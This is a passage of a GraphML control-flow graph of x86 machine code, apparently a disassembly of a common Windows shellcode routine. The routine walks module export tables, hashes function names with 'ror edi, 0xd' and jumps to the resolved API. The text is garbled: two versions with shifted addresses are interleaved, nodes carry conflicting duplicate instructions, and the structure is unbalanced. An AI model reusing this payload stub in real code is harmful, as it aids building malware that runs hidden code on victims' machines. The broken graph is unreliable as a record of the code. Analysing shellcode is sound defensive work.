<data key="address">0x1022</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">2c20</data>
|
||||
<data key="instruction.source">sub al, 0x20</data>
|
||||
</node>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.0x1021">
|
||||
<data key="address">0x1021</data>
|
||||
<node id="block.0x1024">
|
||||
<data key="address">0x1024</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">0x1021</data>
|
||||
<data key="address">0x1024</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.0x1021:instruction.0x1021">
|
||||
<data key="address">0x1021</data>
|
||||
<node id="block.0x1024:instruction.0x1024">
|
||||
<data key="address">0x1024</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">c1cf0d</data>
|
||||
<data key="instruction.source">ror edi, 0xd</data>
|
||||
</node>
|
||||
<node id="block.0x1021:instruction.0x1024">
|
||||
<data key="address">0x1024</data>
|
||||
<node id="block.0x1024:instruction.0x1027">
|
||||
<data key="address">0x1027</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">01c7</data>
|
||||
<data key="instruction.source">add edi, eax</data>
|
||||
</node>
|
||||
<node id="block.0x1021:instruction.0x1026">
|
||||
<data key="address">0x1026</data>
|
||||
<node id="block.0x1024:instruction.0x1029">
|
||||
<data key="address">0x1029</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">49</data>
|
||||
<data key="instruction.source">dec ecx</data>
|
||||
</node>
|
||||
<node id="block.0x1021:instruction.0x1027">
|
||||
<data key="address">0x1027</data>
|
||||
<node id="block.0x1024:instruction.0x102a">
|
||||
<data key="address">0x102a</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">75ef</data>
|
||||
<data key="instruction.source">jne 0x1018</data>
|
||||
<data key="instruction.source">jne 0x101b</data>
|
||||
</node>
|
||||
<edge source="block.0x1021:instruction.0x1021" target="block.0x1021:instruction.0x1024"/>
|
||||
<edge source="block.0x1021:instruction.0x1024" target="block.0x1021:instruction.0x1026"/>
|
||||
<edge source="block.0x1021:instruction.0x1026" target="block.0x1021:instruction.0x1027"/>
|
||||
<edge source="block.0x1024:instruction.0x1024" target="block.0x1024:instruction.0x1027"/>
|
||||
<edge source="block.0x1024:instruction.0x1027" target="block.0x1024:instruction.0x1029"/>
|
||||
<edge source="block.0x1024:instruction.0x1029" target="block.0x1024:instruction.0x102a"/>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.0x1029">
|
||||
<data key="address">0x1029</data>
|
||||
<node id="block.0x102c">
|
||||
<data key="address">0x102c</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">0x1029</data>
|
||||
<data key="address">0x102c</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.0x1029:instruction.0x1029">
|
||||
<data key="address">0x1029</data>
|
||||
<node id="block.0x102c:instruction.0x102c">
|
||||
<data key="address">0x102c</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">52</data>
|
||||
<data key="instruction.source">push edx</data>
|
||||
</node>
|
||||
<node id="block.0x1029:instruction.0x102a">
|
||||
<data key="address">0x102a</data>
|
||||
<node id="block.0x102c:instruction.0x102d">
|
||||
<data key="address">0x102d</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">57</data>
|
||||
<data key="instruction.source">push edi</data>
|
||||
</node>
|
||||
<node id="block.0x1029:instruction.0x102b">
|
||||
<data key="address">0x102b</data>
|
||||
<node id="block.0x102c:instruction.0x102e">
|
||||
<data key="address">0x102e</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">8b5210</data>
|
||||
<data key="instruction.source">mov edx, dword ptr [edx + 0x10]</data>
|
||||
</node>
|
||||
<node id="block.0x1029:instruction.0x102e">
|
||||
<data key="address">0x102e</data>
|
||||
<node id="block.0x102c:instruction.0x1031">
|
||||
<data key="address">0x1031</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">8b423c</data>
|
||||
<data key="instruction.source">mov eax, dword ptr [edx + 0x3c]</data>
|
||||
</node>
|
||||
<node id="block.0x1029:instruction.0x1031">
|
||||
<data key="address">0x1031</data>
|
||||
<node id="block.0x102c:instruction.0x1034">
|
||||
<data key="address">0x1034</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">01d0</data>
|
||||
<data key="instruction.source">add eax, edx</data>
|
||||
</node>
|
||||
<node id="block.0x1029:instruction.0x1033">
|
||||
<data key="address">0x1033</data>
|
||||
<node id="block.0x102c:instruction.0x1036">
|
||||
<data key="address">0x1036</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">8b4078</data>
|
||||
<data key="instruction.source">mov eax, dword ptr [eax + 0x78]</data>
|
||||
</node>
|
||||
<node id="block.0x1029:instruction.0x1036">
|
||||
<data key="address">0x1036</data>
|
||||
<node id="block.0x102c:instruction.0x1039">
|
||||
<data key="address">0x1039</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">85c0</data>
|
||||
<data key="instruction.source">test eax, eax</data>
|
||||
</node>
|
||||
<node id="block.0x1029:instruction.0x1038">
|
||||
<data key="address">0x1038</data>
|
||||
<node id="block.0x102c:instruction.0x103b">
|
||||
<data key="address">0x103b</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">744c</data>
|
||||
<data key="instruction.source">je 0x1086</data>
|
||||
<data key="instruction.hex">744a</data>
|
||||
<data key="instruction.source">je 0x1087</data>
|
||||
</node>
|
||||
<edge source="block.0x1029:instruction.0x1029" target="block.0x1029:instruction.0x102a"/>
|
||||
<edge source="block.0x1029:instruction.0x1029" target="block.0x1029:instruction.0x102b"/>
|
||||
<edge source="block.0x1029:instruction.0x102a" target="block.0x1029:instruction.0x1038"/>
|
||||
<edge source="block.0x1029:instruction.0x102b" target="block.0x1029:instruction.0x102e"/>
|
||||
<edge source="block.0x1029:instruction.0x102b" target="block.0x1029:instruction.0x1031"/>
|
||||
<edge source="block.0x1029:instruction.0x102e" target="block.0x1029:instruction.0x1031"/>
|
||||
<edge source="block.0x1029:instruction.0x1031" target="block.0x1029:instruction.0x1033"/>
|
||||
<edge source="block.0x1029:instruction.0x1033" target="block.0x1029:instruction.0x1036"/>
|
||||
<edge source="block.0x1029:instruction.0x1036" target="block.0x1029:instruction.0x1038"/>
|
||||
<edge source="block.0x102c:instruction.0x102c" target="block.0x102c:instruction.0x102d"/>
|
||||
<edge source="block.0x102c:instruction.0x102c" target="block.0x102c:instruction.0x102e"/>
|
||||
<edge source="block.0x102c:instruction.0x102d" target="block.0x102c:instruction.0x103b"/>
|
||||
<edge source="block.0x102c:instruction.0x102e" target="block.0x102c:instruction.0x1031"/>
|
||||
<edge source="block.0x102c:instruction.0x102e" target="block.0x102c:instruction.0x1034"/>
|
||||
<edge source="block.0x102c:instruction.0x1031" target="block.0x102c:instruction.0x1034"/>
|
||||
<edge source="block.0x102c:instruction.0x1034" target="block.0x102c:instruction.0x1036"/>
|
||||
<edge source="block.0x102c:instruction.0x1036" target="block.0x102c:instruction.0x1039"/>
|
||||
<edge source="block.0x102c:instruction.0x1039" target="block.0x102c:instruction.0x103b"/>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.0x103a">
|
||||
<data key="address">0x103a</data>
|
||||
<node id="block.0x103d">
|
||||
<data key="address">0x103d</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">0x103a</data>
|
||||
<data key="address">0x103d</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.0x103a:instruction.0x103a">
|
||||
<data key="address">0x103a</data>
|
||||
<node id="block.0x103d:instruction.0x103d">
|
||||
<data key="address">0x103d</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">01d0</data>
|
||||
<data key="instruction.source">add eax, edx</data>
|
||||
</node>
|
||||
<node id="block.0x103a:instruction.0x103c">
|
||||
<data key="address">0x103c</data>
|
||||
<node id="block.0x103d:instruction.0x103f">
|
||||
<data key="address">0x103f</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">50</data>
|
||||
<data key="instruction.source">push eax</data>
|
||||
</node>
|
||||
<node id="block.0x103a:instruction.0x103d">
|
||||
<data key="address">0x103d</data>
|
||||
<node id="block.0x103d:instruction.0x1040">
|
||||
<data key="address">0x1040</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">8b4818</data>
|
||||
<data key="instruction.source">mov ecx, dword ptr [eax + 0x18]</data>
|
||||
</node>
|
||||
<node id="block.0x103a:instruction.0x1040">
|
||||
<data key="address">0x1040</data>
|
||||
<node id="block.0x103d:instruction.0x1043">
|
||||
<data key="address">0x1043</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">8b5820</data>
|
||||
<data key="instruction.source">mov ebx, dword ptr [eax + 0x20]</data>
|
||||
</node>
|
||||
<node id="block.0x103a:instruction.0x1043">
|
||||
<data key="address">0x1043</data>
|
||||
<node id="block.0x103d:instruction.0x1046">
|
||||
<data key="address">0x1046</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">01d3</data>
|
||||
<data key="instruction.source">add ebx, edx</data>
|
||||
</node>
|
||||
<edge source="block.0x103a:instruction.0x103a" target="block.0x103a:instruction.0x103c"/>
|
||||
<edge source="block.0x103a:instruction.0x103a" target="block.0x103a:instruction.0x103d"/>
|
||||
<edge source="block.0x103a:instruction.0x103a" target="block.0x103a:instruction.0x1040"/>
|
||||
<edge source="block.0x103a:instruction.0x1040" target="block.0x103a:instruction.0x1043"/>
|
||||
<edge source="block.0x103d:instruction.0x103d" target="block.0x103d:instruction.0x103f"/>
|
||||
<edge source="block.0x103d:instruction.0x103d" target="block.0x103d:instruction.0x1040"/>
|
||||
<edge source="block.0x103d:instruction.0x103d" target="block.0x103d:instruction.0x1043"/>
|
||||
<edge source="block.0x103d:instruction.0x1043" target="block.0x103d:instruction.0x1046"/>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.0x1045">
|
||||
<data key="address">0x1045</data>
|
||||
<node id="block.0x1048">
|
||||
<data key="address">0x1048</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">0x1045</data>
|
||||
<data key="address">0x1048</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.0x1045:instruction.0x1045">
|
||||
<data key="address">0x1045</data>
|
||||
<node id="block.0x1048:instruction.0x1048">
|
||||
<data key="address">0x1048</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">85c9</data>
|
||||
<data key="instruction.source">test ecx, ecx</data>
|
||||
</node>
|
||||
<node id="block.0x1045:instruction.0x1047">
|
||||
<data key="address">0x1047</data>
|
||||
<node id="block.0x1048:instruction.0x104a">
|
||||
<data key="address">0x104a</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">743c</data>
|
||||
<data key="instruction.source">je 0x1085</data>
|
||||
<data key="instruction.hex">743a</data>
|
||||
<data key="instruction.source">je 0x1086</data>
|
||||
</node>
|
||||
<edge source="block.0x1045:instruction.0x1045" target="block.0x1045:instruction.0x1047"/>
|
||||
<edge source="block.0x1048:instruction.0x1048" target="block.0x1048:instruction.0x104a"/>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.0x1049">
|
||||
<data key="address">0x1049</data>
|
||||
<node id="block.0x104c">
|
||||
<data key="address">0x104c</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">0x1049</data>
|
||||
<data key="address">0x104c</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.0x1049:instruction.0x1049">
|
||||
<data key="address">0x1049</data>
|
||||
<node id="block.0x104c:instruction.0x104c">
|
||||
<data key="address">0x104c</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">49</data>
|
||||
<data key="instruction.source">dec ecx</data>
|
||||
</node>
|
||||
<node id="block.0x1049:instruction.0x104a">
|
||||
<data key="address">0x104a</data>
|
||||
<node id="block.0x104c:instruction.0x104d">
|
||||
<data key="address">0x104d</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">8b348b</data>
|
||||
<data key="instruction.source">mov esi, dword ptr [ebx + ecx*4]</data>
|
||||
</node>
|
||||
<node id="block.0x1049:instruction.0x104d">
|
||||
<data key="address">0x104d</data>
|
||||
<node id="block.0x104c:instruction.0x1050">
|
||||
<data key="address">0x1050</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">01d6</data>
|
||||
<data key="instruction.source">add esi, edx</data>
|
||||
</node>
|
||||
<node id="block.0x1049:instruction.0x104f">
|
||||
<data key="address">0x104f</data>
|
||||
<node id="block.0x104c:instruction.0x1052">
|
||||
<data key="address">0x1052</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">31ff</data>
|
||||
<data key="instruction.source">xor edi, edi</data>
|
||||
<data key="instruction.hex">8b7df8</data>
|
||||
<data key="instruction.source">mov edi, dword ptr [ebp - 8]</data>
|
||||
</node>
|
||||
<edge source="block.0x1049:instruction.0x1049" target="block.0x1049:instruction.0x104d"/>
|
||||
<edge source="block.0x1049:instruction.0x1049" target="block.0x1049:instruction.0x104a"/>
|
||||
<edge source="block.0x1049:instruction.0x104a" target="block.0x1049:instruction.0x104d"/>
|
||||
<edge source="block.0x104c:instruction.0x104c" target="block.0x104c:instruction.0x1050"/>
|
||||
<edge source="block.0x104c:instruction.0x104c" target="block.0x104c:instruction.0x104d"/>
|
||||
<edge source="block.0x104c:instruction.0x104d" target="block.0x104c:instruction.0x1050"/>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.0x1051">
|
||||
<data key="address">0x1051</data>
|
||||
<node id="block.0x1055">
|
||||
<data key="address">0x1055</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">0x1051</data>
|
||||
<data key="address">0x1055</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.0x1051:instruction.0x1051">
|
||||
<data key="address">0x1051</data>
|
||||
<node id="block.0x1055:instruction.0x1055">
|
||||
<data key="address">0x1055</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">31c0</data>
|
||||
<data key="instruction.source">xor eax, eax</data>
|
||||
</node>
|
||||
<node id="block.0x1051:instruction.0x1053">
|
||||
<data key="address">0x1053</data>
|
||||
<node id="block.0x1055:instruction.0x1057">
|
||||
<data key="address">0x1057</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">ac</data>
|
||||
<data key="instruction.source">lodsb al, byte ptr [esi]</data>
|
||||
</node>
|
||||
<node id="block.0x1051:instruction.0x1054">
|
||||
<data key="address">0x1054</data>
|
||||
<node id="block.0x1055:instruction.0x1058">
|
||||
<data key="address">0x1058</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">c1cf0d</data>
|
||||
<data key="instruction.source">ror edi, 0xd</data>
|
||||
</node>
|
||||
<node id="block.0x1051:instruction.0x1057">
|
||||
<data key="address">0x1057</data>
|
||||
<node id="block.0x1055:instruction.0x105b">
|
||||
<data key="address">0x105b</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">01c7</data>
|
||||
<data key="instruction.source">add edi, eax</data>
|
||||
</node>
|
||||
<node id="block.0x1051:instruction.0x1059">
|
||||
<data key="address">0x1059</data>
|
||||
<node id="block.0x1055:instruction.0x105d">
|
||||
<data key="address">0x105d</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">38e0</data>
|
||||
<data key="instruction.source">cmp al, ah</data>
|
||||
</node>
|
||||
<node id="block.0x1051:instruction.0x105b">
|
||||
<data key="address">0x105b</data>
|
||||
<node id="block.0x1055:instruction.0x105f">
|
||||
<data key="address">0x105f</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">75f4</data>
|
||||
<data key="instruction.source">jne 0x1051</data>
|
||||
<data key="instruction.source">jne 0x1055</data>
|
||||
</node>
|
||||
<edge source="block.0x1051:instruction.0x1051" target="block.0x1051:instruction.0x1053"/>
|
||||
<edge source="block.0x1051:instruction.0x1051" target="block.0x1051:instruction.0x1054"/>
|
||||
<edge source="block.0x1051:instruction.0x1051" target="block.0x1051:instruction.0x1059"/>
|
||||
<edge source="block.0x1051:instruction.0x1053" target="block.0x1051:instruction.0x1057"/>
|
||||
<edge source="block.0x1051:instruction.0x1053" target="block.0x1051:instruction.0x1059"/>
|
||||
<edge source="block.0x1051:instruction.0x1054" target="block.0x1051:instruction.0x1057"/>
|
||||
<edge source="block.0x1051:instruction.0x1057" target="block.0x1051:instruction.0x1059"/>
|
||||
<edge source="block.0x1051:instruction.0x1059" target="block.0x1051:instruction.0x105b"/>
|
||||
<edge source="block.0x1055:instruction.0x1055" target="block.0x1055:instruction.0x1057"/>
|
||||
<edge source="block.0x1055:instruction.0x1055" target="block.0x1055:instruction.0x1058"/>
|
||||
<edge source="block.0x1055:instruction.0x1055" target="block.0x1055:instruction.0x105d"/>
|
||||
<edge source="block.0x1055:instruction.0x1057" target="block.0x1055:instruction.0x105b"/>
|
||||
<edge source="block.0x1055:instruction.0x1057" target="block.0x1055:instruction.0x105d"/>
|
||||
<edge source="block.0x1055:instruction.0x1058" target="block.0x1055:instruction.0x105b"/>
|
||||
<edge source="block.0x1055:instruction.0x105b" target="block.0x1055:instruction.0x105d"/>
|
||||
<edge source="block.0x1055:instruction.0x105d" target="block.0x1055:instruction.0x105f"/>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.0x105d">
|
||||
<data key="address">0x105d</data>
|
||||
<node id="block.0x1061">
|
||||
<data key="address">0x1061</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">0x105d</data>
|
||||
<data key="address">0x1061</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.0x105d:instruction.0x105d">
|
||||
<data key="address">0x105d</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">037df8</data>
|
||||
<data key="instruction.source">add edi, dword ptr [ebp - 8]</data>
|
||||
</node>
|
||||
<node id="block.0x105d:instruction.0x1060">
|
||||
<data key="address">0x1060</data>
|
||||
<node id="block.0x1061:instruction.0x1061">
|
||||
<data key="address">0x1061</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">3b7d24</data>
|
||||
<data key="instruction.source">cmp edi, dword ptr [ebp + 0x24]</data>
|
||||
</node>
|
||||
<node id="block.0x105d:instruction.0x1063">
|
||||
<data key="address">0x1063</data>
|
||||
<node id="block.0x1061:instruction.0x1064">
|
||||
<data key="address">0x1064</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">75e0</data>
|
||||
<data key="instruction.source">jne 0x1045</data>
|
||||
<data key="instruction.hex">75e2</data>
|
||||
<data key="instruction.source">jne 0x1048</data>
|
||||
</node>
|
||||
<edge source="block.0x105d:instruction.0x105d" target="block.0x105d:instruction.0x1060"/>
|
||||
<edge source="block.0x105d:instruction.0x1060" target="block.0x105d:instruction.0x1063"/>
|
||||
<edge source="block.0x1061:instruction.0x1061" target="block.0x1061:instruction.0x1064"/>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.0x1065">
|
||||
<data key="address">0x1065</data>
|
||||
<node id="block.0x1066">
|
||||
<data key="address">0x1066</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">0x1065</data>
|
||||
<data key="address">0x1066</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.0x1065:instruction.0x1065">
|
||||
<data key="address">0x1065</data>
|
||||
<node id="block.0x1066:instruction.0x1066">
|
||||
<data key="address">0x1066</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">58</data>
|
||||
<data key="instruction.source">pop eax</data>
|
||||
</node>
|
||||
<node id="block.0x1065:instruction.0x1066">
|
||||
<data key="address">0x1066</data>
|
||||
<node id="block.0x1066:instruction.0x1067">
|
||||
<data key="address">0x1067</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">8b5824</data>
|
||||
<data key="instruction.source">mov ebx, dword ptr [eax + 0x24]</data>
|
||||
</node>
|
||||
<node id="block.0x1065:instruction.0x1069">
|
||||
<data key="address">0x1069</data>
|
||||
<node id="block.0x1066:instruction.0x106a">
|
||||
<data key="address">0x106a</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">01d3</data>
|
||||
<data key="instruction.source">add ebx, edx</data>
|
||||
</node>
|
||||
<node id="block.0x1065:instruction.0x106b">
|
||||
<data key="address">0x106b</data>
|
||||
<node id="block.0x1066:instruction.0x106c">
|
||||
<data key="address">0x106c</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">668b0c4b</data>
|
||||
<data key="instruction.source">mov cx, word ptr [ebx + ecx*2]</data>
|
||||
</node>
|
||||
<node id="block.0x1065:instruction.0x106f">
|
||||
<data key="address">0x106f</data>
|
||||
<node id="block.0x1066:instruction.0x1070">
|
||||
<data key="address">0x1070</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">8b581c</data>
|
||||
<data key="instruction.source">mov ebx, dword ptr [eax + 0x1c]</data>
|
||||
</node>
|
||||
<node id="block.0x1065:instruction.0x1072">
|
||||
<data key="address">0x1072</data>
|
||||
<node id="block.0x1066:instruction.0x1073">
|
||||
<data key="address">0x1073</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">01d3</data>
|
||||
<data key="instruction.source">add ebx, edx</data>
|
||||
</node>
|
||||
<node id="block.0x1065:instruction.0x1074">
|
||||
<data key="address">0x1074</data>
|
||||
<node id="block.0x1066:instruction.0x1075">
|
||||
<data key="address">0x1075</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">8b048b</data>
|
||||
<data key="instruction.source">mov eax, dword ptr [ebx + ecx*4]</data>
|
||||
</node>
|
||||
<node id="block.0x1065:instruction.0x1077">
|
||||
<data key="address">0x1077</data>
|
||||
<node id="block.0x1066:instruction.0x1078">
|
||||
<data key="address">0x1078</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">01d0</data>
|
||||
<data key="instruction.source">add eax, edx</data>
|
||||
</node>
|
||||
<node id="block.0x1065:instruction.0x1079">
|
||||
<data key="address">0x1079</data>
|
||||
<node id="block.0x1066:instruction.0x107a">
|
||||
<data key="address">0x107a</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">89442424</data>
|
||||
<data key="instruction.source">mov dword ptr [esp + 0x24], eax</data>
|
||||
</node>
|
||||
<node id="block.0x1065:instruction.0x107d">
|
||||
<data key="address">0x107d</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">5b</data>
|
||||
<data key="instruction.source">pop ebx</data>
|
||||
</node>
|
||||
<node id="block.0x1065:instruction.0x107e">
|
||||
<node id="block.0x1066:instruction.0x107e">
|
||||
<data key="address">0x107e</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">5b</data>
|
||||
<data key="instruction.source">pop ebx</data>
|
||||
</node>
|
||||
<node id="block.0x1065:instruction.0x107f">
|
||||
<node id="block.0x1066:instruction.0x107f">
|
||||
<data key="address">0x107f</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">5b</data>
|
||||
<data key="instruction.source">pop ebx</data>
|
||||
</node>
|
||||
<node id="block.0x1066:instruction.0x1080">
|
||||
<data key="address">0x1080</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">61</data>
|
||||
<data key="instruction.source">popal</data>
|
||||
</node>
|
||||
<node id="block.0x1065:instruction.0x1080">
|
||||
<data key="address">0x1080</data>
|
||||
<node id="block.0x1066:instruction.0x1081">
|
||||
<data key="address">0x1081</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">59</data>
|
||||
<data key="instruction.source">pop ecx</data>
|
||||
</node>
|
||||
<node id="block.0x1065:instruction.0x1081">
|
||||
<data key="address">0x1081</data>
|
||||
<node id="block.0x1066:instruction.0x1082">
|
||||
<data key="address">0x1082</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">5a</data>
|
||||
<data key="instruction.source">pop edx</data>
|
||||
</node>
|
||||
<node id="block.0x1065:instruction.0x1082">
|
||||
<data key="address">0x1082</data>
|
||||
<node id="block.0x1066:instruction.0x1083">
|
||||
<data key="address">0x1083</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">51</data>
|
||||
<data key="instruction.source">push ecx</data>
|
||||
</node>
|
||||
<node id="block.0x1065:instruction.0x1083">
|
||||
<data key="address">0x1083</data>
|
||||
<node id="block.0x1066:instruction.0x1084">
|
||||
<data key="address">0x1084</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">ffe0</data>
|
||||
<data key="instruction.source">jmp eax</data>
|
||||
</node>
|
||||
<edge source="block.0x1065:instruction.0x1065" target="block.0x1065:instruction.0x107d"/>
|
||||
<edge source="block.0x1065:instruction.0x1065" target="block.0x1065:instruction.0x1066"/>
|
||||
<edge source="block.0x1065:instruction.0x1065" target="block.0x1065:instruction.0x106f"/>
|
||||
<edge source="block.0x1065:instruction.0x1065" target="block.0x1065:instruction.0x1079"/>
|
||||
<edge source="block.0x1065:instruction.0x1066" target="block.0x1065:instruction.0x1074"/>
|
||||
<edge source="block.0x1065:instruction.0x1066" target="block.0x1065:instruction.0x1069"/>
|
||||
<edge source="block.0x1065:instruction.0x1069" target="block.0x1065:instruction.0x106f"/>
|
||||
<edge source="block.0x1065:instruction.0x1069" target="block.0x1065:instruction.0x107f"/>
|
||||
<edge source="block.0x1065:instruction.0x1069" target="block.0x1065:instruction.0x106b"/>
|
||||
<edge source="block.0x1065:instruction.0x106b" target="block.0x1065:instruction.0x1074"/>
|
||||
<edge source="block.0x1065:instruction.0x106b" target="block.0x1065:instruction.0x106f"/>
|
||||
<edge source="block.0x1065:instruction.0x106b" target="block.0x1065:instruction.0x107f"/>
|
||||
<edge source="block.0x1065:instruction.0x106f" target="block.0x1065:instruction.0x1074"/>
|
||||
<edge source="block.0x1065:instruction.0x106f" target="block.0x1065:instruction.0x1072"/>
|
||||
<edge source="block.0x1065:instruction.0x1072" target="block.0x1065:instruction.0x107d"/>
|
||||
<edge source="block.0x1065:instruction.0x1072" target="block.0x1065:instruction.0x1074"/>
|
||||
<edge source="block.0x1065:instruction.0x1072" target="block.0x1065:instruction.0x107f"/>
|
||||
<edge source="block.0x1065:instruction.0x1074" target="block.0x1065:instruction.0x107d"/>
|
||||
<edge source="block.0x1065:instruction.0x1074" target="block.0x1065:instruction.0x107f"/>
|
||||
<edge source="block.0x1065:instruction.0x1074" target="block.0x1065:instruction.0x1077"/>
|
||||
<edge source="block.0x1065:instruction.0x1077" target="block.0x1065:instruction.0x107f"/>
|
||||
<edge source="block.0x1065:instruction.0x1077" target="block.0x1065:instruction.0x1079"/>
|
||||
<edge source="block.0x1065:instruction.0x1079" target="block.0x1065:instruction.0x107d"/>
|
||||
<edge source="block.0x1065:instruction.0x1079" target="block.0x1065:instruction.0x107f"/>
|
||||
<edge source="block.0x1065:instruction.0x107d" target="block.0x1065:instruction.0x107e"/>
|
||||
<edge source="block.0x1065:instruction.0x107e" target="block.0x1065:instruction.0x107f"/>
|
||||
<edge source="block.0x1065:instruction.0x107f" target="block.0x1065:instruction.0x1080"/>
|
||||
<edge source="block.0x1065:instruction.0x107f" target="block.0x1065:instruction.0x1083"/>
|
||||
<edge source="block.0x1065:instruction.0x1080" target="block.0x1065:instruction.0x1081"/>
|
||||
<edge source="block.0x1065:instruction.0x1080" target="block.0x1065:instruction.0x1082"/>
|
||||
<edge source="block.0x1065:instruction.0x1081" target="block.0x1065:instruction.0x1082"/>
|
||||
<edge source="block.0x1065:instruction.0x1082" target="block.0x1065:instruction.0x1083"/>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.0x1085">
|
||||
<data key="address">0x1085</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">0x1085</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.0x1085:instruction.0x1085">
|
||||
<data key="address">0x1085</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.hex">58</data>
|
||||
<data key="instruction.source">pop eax</data>
|
||||
</node>
|
||||
<edge source="block.0x1066:instruction.0x1066" target="block.0x1066:instruction.0x107e"/>
|
||||
<edge source="block.0x1066:instruction.0x1066" target="block.0x1066:instruction.0x1067"/>
|
||||
<edge source="block.0x1066:instruction.0x1066" target="block.0x1066:instruction.0x1070"/>
|
||||
<edge source="block.0x1066:instruction.0x1066" target="block.0x1066:instruction.0x107a"/>
|
||||
<edge source="block.0x1066:instruction.0x1067" target="block.0x1066:instruction.0x1075"/>
|
||||
<edge source="block.0x1066:instruction.0x1067" target="block.0x1066:instruction.0x106a"/>
|
||||
<edge source="block.0x1066:instruction.0x106a" target="block.0x1066:instruction.0x1070"/>
|
||||
<edge source="block.0x1066:instruction.0x106a" target="block.0x1066:instruction.0x1080"/>
|
||||
<edge source="block.0x1066:instruction.0x106a" target="block.0x1066:instruction.0x106c"/>
|
||||
<edge source="block.0x1066:instruction.0x106c" target="block.0x1066:instruction.0x1075"/>
|
||||
<edge source="block.0x1066:instruction.0x106c" target="block.0x1066:instruction.0x1070"/>
|
||||
<edge source="block.0x1066:instruction.0x106c" target="block.0x1066:instruction.0x1080"/>
|
||||
<edge source="block.0x1066:instruction.0x1070" target="block.0x1066:instruction.0x1075"/>
|
||||
